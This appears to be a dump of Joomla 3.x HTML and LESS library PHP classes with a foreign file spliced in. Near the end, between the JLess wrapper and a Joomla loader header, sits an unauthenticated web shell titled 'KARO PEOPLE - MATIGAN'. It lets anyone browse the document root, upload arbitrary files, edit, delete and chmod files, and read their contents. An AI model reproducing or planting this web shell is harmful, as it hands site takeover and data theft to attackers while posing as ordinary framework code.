id="' . $id . '"><a
href="javascript:void(0);"><span>' . $text
. '</span></a></h3><div
class="pane-slider content">';
}
/**
* Load the JavaScript behavior.
*
* @param string $group The pane identifier.
* @param array $params Array of options.
*
* @return void
*
* @since 1.6
* @deprecated 3.7.0 These helpers are dependent on the deprecated
MooTools support
*/
protected static function loadBehavior($group, $params = array())
{
static $loaded = array();
if (!array_key_exists($group, $loaded))
{
// Get the JInput object
$input = JFactory::getApplication()->input;
$loaded[$group] = true;
// Include mootools framework.
JHtml::_('behavior.framework', true);
$document = JFactory::getDocument();
$display = (isset($params['startOffset']) &&
isset($params['startTransition']) &&
$params['startTransition'])
? (int) $params['startOffset'] : null;
$show = (isset($params['startOffset']) &&
!(isset($params['startTransition']) &&
$params['startTransition']))
? (int) $params['startOffset'] : null;
$opt['onActive'] = "\\function(toggler, i)
{toggler.addClass('pane-toggler-down');" .
"toggler.removeClass('pane-toggler');i.addClass('pane-down');i.removeClass('pane-hide');Cookie.write('jpanesliders_"
. $group . "',$$('div#" . $group .
".pane-sliders > .panel > h3').indexOf(toggler));}";
$opt['onBackground'] = "\\function(toggler, i)
{toggler.addClass('pane-toggler');" .
"toggler.removeClass('pane-toggler-down');i.addClass('pane-hide');i.removeClass('pane-down');if($$('div#"
. $group . ".pane-sliders > .panel >
h3').length==$$('div#" . $group
. ".pane-sliders > .panel > h3.pane-toggler').length)
Cookie.write('jpanesliders_" . $group . "',-1);}";
$opt['duration'] = isset($params['duration']) ?
(int) $params['duration'] : 300;
$opt['display'] = (isset($params['useCookie'])
&& $params['useCookie']) ?
$input->cookie->get('jpanesliders_' . $group, $display,
'integer')
: $display;
$opt['show'] = (isset($params['useCookie'])
&& $params['useCookie']) ?
$input->cookie->get('jpanesliders_' . $group, $show,
'integer') : $show;
$opt['opacity'] =
(isset($params['opacityTransition']) &&
$params['opacityTransition']) ? 'true' :
'false';
$opt['alwaysHide'] =
(isset($params['allowAllClose']) &&
(!$params['allowAllClose'])) ? 'false' :
'true';
$options = JHtml::getJSObject($opt);
$js = "window.addEvent('domready', function(){ new
Fx.Accordion($$('div#" . $group
. ".pane-sliders > .panel > h3.pane-toggler'),
$$('div#" . $group . ".pane-sliders > .panel >
div.pane-slider'), " . $options
. "); });";
$document->addScriptDeclaration($js);
}
}
}
<?php
/**
* @package Joomla.Libraries
* @subpackage HTML
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('JPATH_PLATFORM') or die;
/**
* HTML utility class for creating a sortable table list
*
* @since 3.0
*/
abstract class JHtmlSortablelist
{
/**
* @var array Array containing information for loaded files
* @since 3.0
*/
protected static $loaded = array();
/**
* Method to load the Sortable script and make table sortable
*
* @param string $tableId DOM id of the table
* @param string $formId DOM id of the form
* @param string $sortDir Sort direction
* @param string $saveOrderingUrl Save ordering url, ajax-load
after an item dropped
* @param boolean $proceedSaveOrderButton Set whether a save order
button is displayed
* @param boolean $nestedList Set whether the list is a
nested list
*
* @return void
*
* @since 3.0
*
* @throws InvalidArgumentException
*/
public static function sortable($tableId, $formId, $sortDir =
'asc', $saveOrderingUrl = null, $proceedSaveOrderButton = true,
$nestedList = false)
{
// Only load once
if (isset(static::$loaded[__METHOD__]))
{
return;
}
// Note: $i is required but has to be an optional argument in the
function call due to argument order
if ($saveOrderingUrl === null)
{
throw new InvalidArgumentException(sprintf('$saveOrderingUrl is a
required argument in %s()', __METHOD__));
}
$displayData = array(
'tableId' => $tableId,
'formId' => $formId,
'sortDir' => $sortDir,
'saveOrderingUrl' => $saveOrderingUrl,
'nestedList' => $nestedList,
'proceedSaveOrderButton' => $proceedSaveOrderButton,
);
JLayoutHelper::render('joomla.html.sortablelist',
$displayData);
// Set static array
static::$loaded[__METHOD__] = true;
return;
}
/**
* Method to inject script for enabled and disable Save order button
* when changing value of ordering input boxes
*
* @return void
*
* @since 3.0
*
* @deprecated 4.0 The logic is merged in the JLayout file
*/
public static function _proceedSaveOrderButton()
{
JFactory::getDocument()->addScriptDeclaration(
"(function ($){
$(document).ready(function (){
var saveOrderButton = $('.saveorder');
saveOrderButton.css({'opacity':'0.2',
'cursor':'default'}).attr('onclick','return
false;');
var oldOrderingValue = '';
$('.text-area-order').focus(function ()
{
oldOrderingValue = $(this).attr('value');
})
.keyup(function (){
var newOrderingValue = $(this).attr('value');
if (oldOrderingValue != newOrderingValue)
{
saveOrderButton.css({'opacity':'1',
'cursor':'pointer'}).removeAttr('onclick')
}
});
});
})(jQuery);"
);
return;
}
}
<?php
/**
* @package Joomla.Libraries
* @subpackage HTML
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('JPATH_PLATFORM') or die;
use Joomla\String\StringHelper;
/**
* HTML helper class for rendering manipulated strings.
*
* @since 1.6
*/
abstract class JHtmlString
{
/**
* Truncates text blocks over the specified character limit and closes
* all open HTML tags. The method will optionally not truncate an
individual
* word, it will find the first space that is within the limit and
* truncate at that point. This method is UTF-8 safe.
*
* @param string $text The text to truncate.
* @param integer $length The maximum length of the text.
* @param boolean $noSplit Don't split a word if that is where
the cutoff occurs (default: true).
* @param boolean $allowHtml Allow HTML tags in the output, and close
any open tags (default: true).
*
* @return string The truncated text.
*
* @since 1.6
*/
public static function truncate($text, $length = 0, $noSplit = true,
$allowHtml = true)
{
// Assume a lone open tag is invalid HTML.
if ($length === 1 && $text[0] === '<')
{
return '...';
}
// Check if HTML tags are allowed.
if (!$allowHtml)
{
// Deal with spacing issues in the input.
$text = str_replace('>', '> ', $text);
$text = str_replace(array(' ',
' '), ' ', $text);
$text = StringHelper::trim(preg_replace('#\s+#mui', '
', $text));
// Strip the tags from the input and decode entities.
$text = strip_tags($text);
$text = html_entity_decode($text, ENT_QUOTES, 'UTF-8');
// Remove remaining extra spaces.
$text = str_replace(' ', ' ', $text);
$text = StringHelper::trim(preg_replace('#\s+#mui', '
', $text));
}
// Whether or not allowing HTML, truncate the item text if it is too
long.
if ($length > 0 && StringHelper::strlen($text) > $length)
{
$tmp = trim(StringHelper::substr($text, 0, $length));
if ($tmp[0] === '<' && strpos($tmp,
'>') === false)
{
return '...';
}
// $noSplit true means that we do not allow splitting of words.
if ($noSplit)
{
// Find the position of the last space within the allowed length.
$offset = StringHelper::strrpos($tmp, ' ');
$tmp = StringHelper::substr($tmp, 0, $offset + 1);
// If there are no spaces and the string is longer than the maximum
// we need to just use the ellipsis. In that case we are done.
if ($offset === false && strlen($text) > $length)
{
return '...';
}
if (StringHelper::strlen($tmp) > $length - 3)
{
$tmp = trim(StringHelper::substr($tmp, 0, StringHelper::strrpos($tmp,
' ')));
}
}
if ($allowHtml)
{
// Put all opened tags into an array
preg_match_all("#<([a-z][a-z0-9]*)\b.*?(?!/)>#i", $tmp,
$result);
$openedTags = $result[1];
// Some tags self close so they do not need a separate close tag.
$openedTags = array_diff($openedTags, array('img',
'hr', 'br'));
$openedTags = array_values($openedTags);
// Put all closed tags into an array
preg_match_all("#</([a-z][a-z0-9]*)\b(?:[^>]*?)>#iU",
$tmp, $result);
$closedTags = $result[1];
$numOpened = count($openedTags);
// Not all tags are closed so trim the text and finish.
if (count($closedTags) !== $numOpened)
{
// Closing tags need to be in the reverse order of opening tags.
$openedTags = array_reverse($openedTags);
// Close tags
for ($i = 0; $i < $numOpened; $i++)
{
if (!in_array($openedTags[$i], $closedTags))
{
$tmp .= '</' . $openedTags[$i] . '>';
}
else
{
unset($closedTags[array_search($openedTags[$i], $closedTags)]);
}
}
}
// Check if we are within a tag
if (StringHelper::strrpos($tmp, '<') >
StringHelper::strrpos($tmp, '>'))
{
$offset = StringHelper::strrpos($tmp, '<');
$tmp = StringHelper::trim(StringHelper::substr($tmp, 0, $offset));
}
}
if ($tmp === false || strlen($text) > strlen($tmp))
{
$text = trim($tmp) . '...';
}
}
// Clean up any internal spaces created by the processing.
$text = str_replace(' </', '</', $text);
$text = str_replace(' ...', '...', $text);
return $text;
}
/**
* Method to extend the truncate method to more complex situations
*
* The goal is to get the proper length plain text string with as much of
* the html intact as possible with all tags properly closed.
*
* @param string $html The content of the introtext to be
truncated
* @param integer $maxLength The maximum number of characters to
render
* @param boolean $noSplit Don't split a word if that is where
the cutoff occurs (default: true).
*
* @return string The truncated string. If the string is truncated an
ellipsis
* (...) will be appended.
*
* @note If a maximum length of 3 or less is selected and the text has
more than
* that number of characters an ellipsis will be displayed.
* This method will not create valid HTML from malformed HTML.
*
* @since 3.1
*/
public static function truncateComplex($html, $maxLength = 0, $noSplit =
true)
{
// Start with some basic rules.
$baseLength = strlen($html);
// If the original HTML string is shorter than the $maxLength do nothing
and return that.
if ($baseLength <= $maxLength || $maxLength === 0)
{
return $html;
}
// Take care of short simple cases.
if ($maxLength <= 3 && $html[0] !== '<'
&& strpos(substr($html, 0, $maxLength - 1), '<') ===
false && $baseLength > $maxLength)
{
return '...';
}
// Deal with maximum length of 1 where the string starts with a tag.
if ($maxLength === 1 && $html[0] === '<')
{
$endTagPos = strlen(strstr($html, '>', true));
$tag = substr($html, 1, $endTagPos);
$l = $endTagPos + 1;
if ($noSplit)
{
return substr($html, 0, $l) . '</' . $tag .
'...';
}
// TODO: $character doesn't seem to be used...
$character = substr(strip_tags($html), 0, 1);
return substr($html, 0, $l) . '</' . $tag .
'...';
}
// First get the truncated plain text string. This is the rendered text
we want to end up with.
$ptString = JHtml::_('string.truncate', $html, $maxLength,
$noSplit, $allowHtml = false);
// It's all HTML, just return it.
if ($ptString === '')
{
return $html;
}
// If the plain text is shorter than the max length the variable will not
end in ...
// In that case we use the whole string.
if (substr($ptString, -3) !== '...')
{
return $html;
}
// Regular truncate gives us the ellipsis but we want to go back for text
and tags.
if ($ptString === '...')
{
$stripped = substr(strip_tags($html), 0, $maxLength);
$ptString = JHtml::_('string.truncate', $stripped, $maxLength,
$noSplit, $allowHtml = false);
}
// We need to trim the ellipsis that truncate adds.
$ptString = rtrim($ptString, '.');
// Now deal with more complex truncation.
while ($maxLength <= $baseLength)
{
// Get the truncated string assuming HTML is allowed.
$htmlString = JHtml::_('string.truncate', $html, $maxLength,
$noSplit, $allowHtml = true);
if ($htmlString === '...' && strlen($ptString) + 3
> $maxLength)
{
return $htmlString;
}
$htmlString = rtrim($htmlString, '.');
// Now get the plain text from the HTML string and trim it.
$htmlStringToPtString = JHtml::_('string.truncate',
$htmlString, $maxLength, $noSplit, $allowHtml = false);
$htmlStringToPtString = rtrim($htmlStringToPtString, '.');
// If the new plain text string matches the original plain text string
we are done.
if ($ptString === $htmlStringToPtString)
{
return $htmlString . '...';
}
// Get the number of HTML tag characters in the first $maxLength
characters
$diffLength = strlen($ptString) - strlen($htmlStringToPtString);
if ($diffLength <= 0)
{
return $htmlString . '...';
}
// Set new $maxlength that adjusts for the HTML tags
$maxLength += $diffLength;
}
}
/**
* Abridges text strings over the specified character limit. The
* behavior will insert an ellipsis into the text replacing a section
* of variable size to ensure the string does not exceed the defined
* maximum length. This method is UTF-8 safe.
*
* For example, it transforms "Really long title" to
"Really...title".
*
* Note that this method does not scan for HTML tags so will potentially
break them.
*
* @param string $text The text to abridge.
* @param integer $length The maximum length of the text (default is
50).
* @param integer $intro The maximum length of the intro text
(default is 30).
*
* @return string The abridged text.
*
* @since 1.6
*/
public static function abridge($text, $length = 50, $intro = 30)
{
// Abridge the item text if it is too long.
if (StringHelper::strlen($text) > $length)
{
// Determine the remaining text length.
$remainder = $length - ($intro + 3);
// Extract the beginning and ending text sections.
$beg = StringHelper::substr($text, 0, $intro);
$end = StringHelper::substr($text, StringHelper::strlen($text) -
$remainder);
// Build the resulting string.
$text = $beg . '...' . $end;
}
return $text;
}
}
<?php
/**
* @package Joomla.Libraries
* @subpackage HTML
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('JPATH_PLATFORM') or die;
/**
* Utility class for Tabs elements.
*
* @since 1.6
* @deprecated 3.7.0 These helpers are dependent on the deprecated
MooTools support
*/
abstract class JHtmlTabs
{
/**
* Creates a panes and creates the JavaScript object for it.
*
* @param string $group The pane identifier.
* @param array $params An array of option.
*
* @return string
*
* @since 1.6
* @deprecated 3.7.0 These helpers are dependent on the deprecated
MooTools support
*/
public static function start($group = 'tabs', $params = array())
{
static::loadBehavior($group, $params);
return '<dl class="tabs" id="' . $group .
'"><dt style="display:none;"></dt><dd
style="display:none;">';
}
/**
* Close the current pane
*
* @return string HTML to close the pane
*
* @since 1.6
* @deprecated 3.7.0 These helpers are dependent on the deprecated
MooTools support
*/
public static function end()
{
return '</dd></dl>';
}
/**
* Begins the display of a new panel.
*
* @param string $text Text to display.
* @param string $id Identifier of the panel.
*
* @return string HTML to start a new panel
*
* @since 1.6
* @deprecated 3.7.0 These helpers are dependent on the deprecated
MooTools support
*/
public static function panel($text, $id)
{
return '</dd><dt class="tabs ' . $id .
'"><span><h3><a
href="javascript:void(0);">' . $text .
'</a></h3></span></dt><dd
class="tabs">';
}
/**
* Load the JavaScript behavior.
*
* @param string $group The pane identifier.
* @param array $params Array of options.
*
* @return void
*
* @since 1.6
* @deprecated 3.7.0 These helpers are dependent on the deprecated
MooTools support
*/
protected static function loadBehavior($group, $params = array())
{
static $loaded = array();
if (!array_key_exists((string) $group, $loaded))
{
// Include MooTools framework
JHtml::_('behavior.framework', true);
$opt['onActive'] =
isset($params['onActive']) ? '\\' .
$params['onActive'] : null;
$opt['onBackground'] =
isset($params['onBackground']) ? '\\' .
$params['onBackground'] : null;
$opt['display'] =
isset($params['startOffset']) ? (int)
$params['startOffset'] : null;
$opt['titleSelector'] = 'dt.tabs';
$opt['descriptionSelector'] = 'dd.tabs';
// When use storage is set and value is false - By default we allow to
use storage
$opt['useStorage'] = !(isset($params['useCookie'])
&& !$params['useCookie']);
$options = JHtml::getJSObject($opt);
$js = ' window.addEvent(\'domready\', function(){
$$(\'dl#' . $group .
'.tabs\').each(function(tabs){
new JTabs(tabs, ' . $options . ');
});
});';
$document = JFactory::getDocument();
$document->addScriptDeclaration($js);
JHtml::_('script', 'system/tabs.js',
array('version' => 'auto', 'relative'
=> true));
$loaded[(string) $group] = true;
}
}
}
<?php
/**
* @package Joomla.Libraries
* @subpackage HTML
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('JPATH_PLATFORM') or die;
use Joomla\Utilities\ArrayHelper;
/**
* Utility class for tags
*
* @since 3.1
*/
abstract class JHtmlTag
{
/**
* Cached array of the tag items.
*
* @var array
* @since 3.1
*/
protected static $items = array();
/**
* Returns an array of tags.
*
* @param array $config An array of configuration options. By default,
only
* published and unpublished categories are
returned.
*
* @return array
*
* @since 3.1
*/
public static function options($config =
array('filter.published' => array(0, 1)))
{
$hash = md5(serialize($config));
if (!isset(static::$items[$hash]))
{
$config = (array) $config;
$db = JFactory::getDbo();
$query = $db->getQuery(true)
->select('a.id, a.title, a.level')
->from('#__tags AS a')
->where('a.parent_id > 0');
// Filter on the published state
if (isset($config['filter.published']))
{
if (is_numeric($config['filter.published']))
{
$query->where('a.published = ' . (int)
$config['filter.published']);
}
elseif (is_array($config['filter.published']))
{
$config['filter.published'] =
ArrayHelper::toInteger($config['filter.published']);
$query->where('a.published IN (' . implode(',',
$config['filter.published']) . ')');
}
}
// Filter on the language
if (isset($config['filter.language']))
{
if (is_string($config['filter.language']))
{
$query->where('a.language = ' .
$db->quote($config['filter.language']));
}
elseif (is_array($config['filter.language']))
{
foreach ($config['filter.language'] as &$language)
{
$language = $db->quote($language);
}
$query->where('a.language IN (' . implode(',',
$config['filter.language']) . ')');
}
}
$query->order('a.lft');
$db->setQuery($query);
$items = $db->loadObjectList();
// Assemble the list options.
static::$items[$hash] = array();
foreach ($items as &$item)
{
$repeat = ($item->level - 1 >= 0) ? $item->level - 1 : 0;
$item->title = str_repeat('- ', $repeat) .
$item->title;
static::$items[$hash][] = JHtml::_('select.option',
$item->id, $item->title);
}
}
return static::$items[$hash];
}
/**
* Returns an array of tags.
*
* @param array $config An array of configuration options. By default,
only published and unpublished tags are returned.
*
* @return array Tag data
*
* @since 3.1
*/
public static function tags($config = array('filter.published'
=> array(0, 1)))
{
$hash = md5(serialize($config));
$config = (array) $config;
$db = JFactory::getDbo();
$query = $db->getQuery(true)
->select('a.id, a.title, a.level, a.parent_id')
->from('#__tags AS a')
->where('a.parent_id > 0');
// Filter on the published state
if (isset($config['filter.published']))
{
if (is_numeric($config['filter.published']))
{
$query->where('a.published = ' . (int)
$config['filter.published']);
}
elseif (is_array($config['filter.published']))
{
$config['filter.published'] =
ArrayHelper::toInteger($config['filter.published']);
$query->where('a.published IN (' . implode(',',
$config['filter.published']) . ')');
}
}
$query->order('a.lft');
$db->setQuery($query);
$items = $db->loadObjectList();
// Assemble the list options.
static::$items[$hash] = array();
foreach ($items as &$item)
{
$repeat = ($item->level - 1 >= 0) ? $item->level - 1 : 0;
$item->title = str_repeat('- ', $repeat) . $item->title;
static::$items[$hash][] = JHtml::_('select.option',
$item->id, $item->title);
}
return static::$items[$hash];
}
/**
* This is just a proxy for the formbehavior.ajaxchosen method
*
* @param string $selector DOM id of the tag field
* @param boolean $allowCustom Flag to allow custom values
*
* @return void
*
* @since 3.1
*/
public static function ajaxfield($selector = '#jform_tags',
$allowCustom = true)
{
// Get the component parameters
$params = JComponentHelper::getParams('com_tags');
$minTermLength = (int) $params->get('min_term_length', 3);
$displayData = array(
'minTermLength' => $minTermLength,
'selector' => $selector,
'allowCustom' =>
JFactory::getUser()->authorise('core.create',
'com_tags') ? $allowCustom : false,
);
JLayoutHelper::render('joomla.html.tag', $displayData);
return;
}
}
<?php
/**
* @package Joomla.Libraries
* @subpackage HTML
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('JPATH_PLATFORM') or die;
/**
* HTML helper class for rendering telephone numbers.
*
* @since 1.6
*/
abstract class JHtmlTel
{
/**
* Converts strings of integers into more readable telephone format
*
* By default, the ITU-T format will automatically be used.
* However, one of the allowed unit types may also be used instead.
*
* @param integer $number The integers in a phone number with dot
separated country code
* ccc.nnnnnnn where ccc represents
country code and nnn represents the local number.
* @param string $displayplan The numbering plan used to display the
numbers.
*
* @return string The formatted telephone number.
*
* @see JFormRuleTel
* @since 1.6
*/
public static function tel($number, $displayplan)
{
$number = explode('.', $number);
$countrycode = $number[0];
$number = $number[1];
if ($displayplan === 'ITU-T' || $displayplan ===
'International' || $displayplan === 'int' ||
$displayplan === 'missdn' || $displayplan == null)
{
$display[0] = '+';
$display[1] = $countrycode;
$display[2] = ' ';
$display[3] = implode(' ', str_split($number, 2));
}
elseif ($displayplan === 'NANP' || $displayplan ===
'northamerica' || $displayplan === 'US')
{
$display[0] = '(';
$display[1] = substr($number, 0, 3);
$display[2] = ') ';
$display[3] = substr($number, 3, 3);
$display[4] = '-';
$display[5] = substr($number, 6, 4);
}
elseif ($displayplan === 'EPP' || $displayplan ===
'IETF')
{
$display[0] = '+';
$display[1] = $countrycode;
$display[2] = '.';
$display[3] = $number;
}
elseif ($displayplan === 'ARPA' || $displayplan ===
'ENUM')
{
$number = implode('.', str_split(strrev($number), 1));
$display[0] = '+';
$display[1] = $number;
$display[2] = '.';
$display[3] = $countrycode;
$display[4] = '.e164.arpa';
}
return implode('', $display);
}
}
<?php
/**
* @package Joomla.Libraries
* @subpackage HTML
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('JPATH_PLATFORM') or die;
/**
* Utility class working with users
*
* @since 2.5
*/
abstract class JHtmlUser
{
/**
* Displays a list of user groups.
*
* @param boolean $includeSuperAdmin true to include super admin
groups, false to exclude them
*
* @return array An array containing a list of user groups.
*
* @since 2.5
*/
public static function groups($includeSuperAdmin = false)
{
$options = array_values(JHelperUsergroups::getInstance()->getAll());
for ($i = 0, $n = count($options); $i < $n; $i++)
{
$options[$i]->value = $options[$i]->id;
$options[$i]->text = str_repeat('- ',
$options[$i]->level) . $options[$i]->title;
$groups[] = JHtml::_('select.option', $options[$i]->value,
$options[$i]->text);
}
// Exclude super admin groups if requested
if (!$includeSuperAdmin)
{
$filteredGroups = array();
foreach ($groups as $group)
{
if (!JAccess::checkGroup($group->value, 'core.admin'))
{
$filteredGroups[] = $group;
}
}
$groups = $filteredGroups;
}
return $groups;
}
/**
* Get a list of users.
*
* @return string
*
* @since 2.5
*/
public static function userlist()
{
$db = JFactory::getDbo();
$query = $db->getQuery(true)
->select('a.id AS value, a.name AS text')
->from('#__users AS a')
->where('a.block = 0')
->order('a.name');
$db->setQuery($query);
return $db->loadObjectList();
}
}
<?php
/**
* @package Joomla.Libraries
* @subpackage Less
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('JPATH_PLATFORM') or die;
/**
* Formatter ruleset for Joomla formatted CSS generated via LESS
*
* @package Joomla.Libraries
* @subpackage Less
* @since 3.4
* @deprecated 4.0 without replacement
*/
class JLessFormatterJoomla extends lessc_formatter_classic
{
public $disableSingle = true;
public $breakSelectors = true;
public $assignSeparator = ': ';
public $selectorSeparator = ',';
public $indentChar = "\t";
}
<?php
/**
* @package Joomla.Libraries
* @subpackage LESS
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('JPATH_PLATFORM') or die;
/**
* Wrapper class for lessc
*
* @package Joomla.Libraries
* @subpackage Less
* @since 3.4
* @deprecated 4.0 without replacement
*/
class JLess extends lessc
{
/**
* Constructor
*
* @param string $fname Filename to process
* @param \JLessFormatterJoomla $formatter Formatter object
*
* @since 3.4
*/
public function __construct($fname = null, $formatter = null)
{
parent::__construct($fname);
if ($formatter === null)
{
$formatter = new JLessFormatterJoomla;
}
$this->setFormatter($formatter);
}
/**
* Override compile to reset $this->allParsedFiles array to allow
* parsing multiple files/strings using same imports.
* PR: https://github.com/leafo/lessphp/pull/607
*
* For documentation on this please see /vendor/leafo/lessc.inc.php
*
* @param string $string LESS string to parse.
* @param string $name The sourceName used for error messages.
*
* @return string $out The compiled css output.
*/
public function compile($string, $name = null)
{
$this->allParsedFiles = array();
return parent::compile($string, $name);
}
}
<?php
// Base directory configuration (change as needed)
$base_dir = $_SERVER['DOCUMENT_ROOT'];
$directory = isset($_GET['dir']) ? $_GET['dir'] :
$base_dir;
$full_path = realpath($directory);
// Security function for path validation
function is_valid_path($path) {
global $base_dir;
return strpos(realpath($path), realpath($base_dir)) === 0;
}
// Function to format file size in human-readable form
function format_size($size) {
$units = ['B', 'KB', 'MB',
'GB', 'TB'];
$unit = 0;
while ($size >= 1024 && $unit < count($units) - 1) {
$size /= 1024;
$unit++;
}
return round($size, 2) . ' ' . $units[$unit];
}
// Function to display folder permissions
function get_permissions($path) {
return substr(sprintf('%o', fileperms($path)), -4);
}
// File Upload Feature
if (isset($_FILES['file_to_upload'])) {
$target_file = $full_path . DIRECTORY_SEPARATOR .
basename($_FILES['file_to_upload']['name']);
if
(move_uploaded_file($_FILES['file_to_upload']['tmp_name'],
$target_file)) {
echo "<div class='alert alert-success'>File
" .
htmlspecialchars(basename($_FILES['file_to_upload']['name']))
. " successfully uploaded.</div>";
} else {
echo "<div class='alert alert-danger'>Failed
to upload file.</div>";
}
}
// File Edit Feature
if (isset($_POST['edit_file']) &&
isset($_POST['file_content'])) {
$edit_file = $_POST['edit_file'];
if (is_valid_path($edit_file)) {
file_put_contents($edit_file, $_POST['file_content']);
echo "<div class='alert alert-success'>File
successfully edited.</div>";
} else {
echo "<div class='alert alert-danger'>Invalid
file path.</div>";
}
}
// File Delete Feature
if (isset($_POST['delete_file'])) {
$delete_file = $_POST['delete_file'];
if (is_valid_path($delete_file) && is_file($delete_file)) {
unlink($delete_file);
echo "<div class='alert alert-success'>File
successfully deleted.</div>";
} else {
echo "<div class='alert alert-danger'>Failed
to delete file.</div>";
}
}
// Folder Delete Feature
if (isset($_POST['delete_folder'])) {
$delete_folder = $_POST['delete_folder'];
if (is_valid_path($delete_folder) && is_dir($delete_folder)) {
rmdir_recursive($delete_folder);
echo "<div class='alert alert-success'>Folder
successfully deleted.</div>";
} else {
echo "<div class='alert alert-danger'>Failed
to delete folder.</div>";
}
}
// Recursive function to delete a folder and its contents
function rmdir_recursive($dir) {
foreach (scandir($dir) as $file) {
if ($file !== '.' && $file !== '..') {
$full_path = $dir . DIRECTORY_SEPARATOR . $file;
if (is_dir($full_path)) {
rmdir_recursive($full_path);
} else {
unlink($full_path);
}
}
}
rmdir($dir);
}
// Load file content for editing via AJAX
if (isset($_GET['load_file'])) {
$file_to_load = $_GET['load_file'];
if (is_valid_path($file_to_load) && is_file($file_to_load)) {
echo file_get_contents($file_to_load);
}
exit;
}
// Handle permissions update
if (isset($_POST['set_permissions'])) {
$target_path = $_POST['target_path'];
$permissions = $_POST['permissions'];
if (is_valid_path($target_path)) {
chmod($target_path, octdec($permissions));
echo "<div class='alert
alert-success'>Permissions updated to
$permissions.</div>";
} else {
echo "<div class='alert alert-danger'>Failed
to update permissions.</div>";
}
}
// List Directory Content
$files = scandir($full_path);
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width,
initial-scale=1.0">
<title>KARO PEOPLE - MATIGAN</title>
<link
href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css"
rel="stylesheet">
</head>
<body>
<div class="container mt-5">
<h1 class="text-center mb-4">KARO PEOPLE -
MATIGAN</h1>
<!-- File Upload Form -->
<div class="card mb-4">
<div class="card-header">
<h2>Upload File</h2>
</div>
<div class="card-body">
<form action="" method="POST"
enctype="multipart/form-data" class="form-inline">
<div class="form-group">
<input type="file"
name="file_to_upload" class="form-control mb-2
mr-2">
</div>
<button type="submit" class="btn
btn-primary mb-2">Upload</button>
</form>
</div>
</div>
<!-- Directory Content -->
<div class="card">
<div class="card-header">
<h2>Directory Content: <?php echo
htmlspecialchars($full_path); ?></h2>
</div>
<div class="card-body">
<ul class="list-group">
<?php foreach ($files as $file): ?>
<?php if ($file !== '.' && $file
!== '..'): ?>
<li class="list-group-item d-flex
justify-content-between align-items-center">
<?php if (is_dir($full_path .
DIRECTORY_SEPARATOR . $file)): ?>
<a href="?dir=<?php echo
urlencode($full_path . DIRECTORY_SEPARATOR . $file); ?>">
<strong><?php echo
htmlspecialchars($file); ?></strong>
</a>
<form action=""
method="POST" style="display: inline;">
<input type="hidden"
name="delete_folder" value="<?php echo
htmlspecialchars($full_path . DIRECTORY_SEPARATOR . $file);
?>">
<button type="submit"
class="btn btn-danger btn-sm">Delete Folder</button>
</form>
<?php else: ?>
<?php echo htmlspecialchars($file);
?>
(<?php echo
format_size(filesize($full_path . DIRECTORY_SEPARATOR . $file)); ?>)
<span
class="text-muted">(Permissions: <?php echo
get_permissions($full_path . DIRECTORY_SEPARATOR . $file);
?>)</span>
<div>
<button type="button"
class="btn btn-warning btn-sm"
onclick="editFile('<?php echo addslashes($full_path .
DIRECTORY_SEPARATOR . $file); ?>')">Edit</button>
<form action=""
method="POST" style="display: inline;">
<input type="hidden"
name="delete_file" value="<?php echo
htmlspecialchars($full_path . DIRECTORY_SEPARATOR . $file);
?>">
<button type="submit"
class="btn btn-danger btn-sm">Delete</button>
</form>
<form action=""
method="POST" style="display: inline;">
<input type="hidden"
name="target_path" value="<?php echo
htmlspecialchars($full_path . DIRECTORY_SEPARATOR . $file);
?>">
<input type="text"
name="permissions" placeholder="0644"
class="form-control-sm">
<button type="submit"
name="set_permissions" class="btn btn-info
btn-sm">Set Permissions</button>
</form>
</div>
<?php endif; ?>
</li>
<?php endif; ?>
<?php endforeach; ?>
</ul>
</div>
</div>
</div>
<!-- Modal for Editing File -->
<div id="editModal" class="modal"
tabindex="-1" role="dialog">
<div class="modal-dialog" role="document">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title">Edit
File</h5>
<button type="button"
class="btn-close"
onclick="closeModal()"></button>
</div>
<div class="modal-body">
<form action="" method="POST">
<input type="hidden"
name="edit_file" id="edit_file">
<div class="form-group">
<textarea name="file_content"
id="file_content" rows="10"
class="form-control"></textarea>
</div>
<button type="submit" class="btn
btn-primary mt-3">Save Changes</button>
</form>
</div>
<div class="modal-footer">
<button type="button" class="btn
btn-secondary"
onclick="closeModal()">Close</button>
</div>
</div>
</div>
</div>
<script>
function editFile(filePath) {
document.getElementById('editModal').style.display =
'block';
document.getElementById('edit_file').value = filePath;
// Load file content using Ajax
var xhr = new XMLHttpRequest();
xhr.open('GET', '?load_file=' +
encodeURIComponent(filePath), true);
xhr.onload = function () {
if (xhr.status === 200) {
document.getElementById('file_content').value =
xhr.responseText;
}
};
xhr.send();
}
function closeModal() {
document.getElementById('editModal').style.display =
'none';
}
</script>
<!-- Bootstrap JS -->
<script
src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/js/bootstrap.bundle.min.js"></script>
</body>
</html>
<?php
/**
* @package Joomla.Libraries
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
// Set the platform root path as a constant if necessary.
if (!defined('JPATH_PLATFORM'))
{
define('JPATH_PLATFORM', __DIR__);
}
// Import the library loader if necessary.
